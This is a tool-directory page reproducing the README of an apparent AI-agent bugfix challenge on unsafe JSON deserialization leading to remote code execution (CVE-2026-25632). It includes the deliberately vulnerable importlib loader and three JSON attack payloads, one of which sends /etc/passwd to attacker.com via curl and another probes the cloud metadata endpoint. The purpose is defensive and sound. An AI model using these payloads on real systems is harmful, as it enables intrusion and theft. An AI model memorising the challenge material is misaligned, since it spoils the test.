Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Fix Unsafe JSON Deserialization Leading to Remote Code Execution | Kitploit
Tools/GitHubGitHub/lazarus0x1337/cve-2026-25632
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb SecurityLearning & EducationLabs & Practice
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Fix Unsafe JSON Deserialization Leading to Remote Code Execution

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-25632 — JSON Deserialization RCE in REST API (Bugfix Challenge)

Inspired by a real 2026 vulnerability (CVSS 10.0, actively exploited)
Based on: CVE-2026-25632 — Remote Code Execution via unsafe __type__-driven JSON deserialization discovered in the EPyT-Flow water-network simulation REST API and publicly disclosed in early 2026.


Background

NovaSim is a Python-based simulation framework that exposes a REST API for remote control of scientific experiments. To support flexible object serialization across heterogeneous client environments, a developer added a custom JSON loader that detects a special __type__ field and dynamically imports and instantiates the referenced Python class using importlib.

This pattern was disclosed as a critical Remote Code Execution (RCE) vulnerability in a major open-source project in 2026. Security researchers identified that an attacker who controls the JSON body can construct a gadget chain targeting any callable in the Python standard library — including subprocess.Popen, os.system, , and 25+ SSRF gadgets — achieving full server compromise with a single HTTP request, .

eval
no authentication required

Your Task

You are given the vulnerable version of src/solution.py, which contains the exact unsafe deserialization pattern.

Your goal: Fix the vulnerability in DeserializationService.load_from_json() so that:

  1. Legitimate, allowlisted simulation objects are still correctly deserialized.
  2. Any attempt to load a class outside the allowlist raises a SecurityError.
  3. The __type__ field no longer enables arbitrary module import or class instantiation.
  4. All valid simulation data (non-__type__ JSON) continues to load normally.

Technical Problem Statement

Vulnerable Code Pattern (DO NOT USE)

root@kitploit:~
# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

Attack Vectors (from real security research)

An attacker sends a POST request with a crafted JSON body:

Vector 1 — Direct RCE via subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vector 2 — RCE via os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vector 3 — SSRF via urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Security researchers documented 12 direct RCE gadgets and 25 SSRF gadgets reachable this way through the Python standard library alone.


Allowlisted Types

The following, and only the following, simulation object types may be deserialized via __type__:

__type__ valuePython class
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Any other __type__ value MUST raise a SecurityError immediately, before any import or instantiation occurs.


Input / Output Specification

Input

JSON objects submitted to DeserializationService.load_from_json(raw: str) -> dict | SimObject

Output

  • If the JSON has no __type__ key: return dict (parsed JSON).
  • If the JSON has an allowlisted __type__: return the corresponding simulation object instance.
  • If the JSON has a non-allowlisted __type__: raise SecurityError with the message: "Blocked unsafe type: <type_value>".
  • If the JSON is malformed: raise ValueError with message: "Invalid JSON payload".

Edge Cases / Error Handling Rules

ScenarioExpected behavior
__type__ absentParse and return as plain dict
__type__ = "simulation.Sensor"Instantiate Sensor(**args)
__type__ = "subprocess.Popen"Raise SecurityError
__type__ = "os.system"Raise SecurityError
__type__ = "__builtins__.eval"Raise SecurityError
__type__ = "" (empty string)Raise SecurityError
__type__ = a list or integerRaise SecurityError (invalid type field)
Malformed JSON stringRaise ValueError
Extra unknown fields in valid objectAccepted, passed as kwargs to constructor

Files

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- You are here
├── Dockerfile                  <- Deterministic build environment
├── src/
│   ├── solution.py             <- BUGGY starter code (your target)
│   ├── solution_fixed.py       <- Reference solution (hidden from agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Allowlisted simulation model classes
└── tests/
    └── test_solution.py        <- Test harness (FAILS on buggy, PASSES on fixed)

Verification Criteria

The fix must pass ALL of the following:

  • All 4 standard deserialization tests (allowlisted types, no-type plain dict)
  • All 5 attack vector blocking tests (subprocess, os, eval, urllib, builtins)
  • All 3 edge case tests (empty type, non-string type, malformed JSON)
  • No external network calls during tests
  • Deterministic across runs

References

  • NVD — CVE-2026-25632
  • CISA Advisory — Known Exploited Vulnerabilities Catalog
  • Security Research: 79 Gadgets Discovered — MazeHQ, 2026
  • CWE-502: Deserialization of Untrusted Data
Download Tool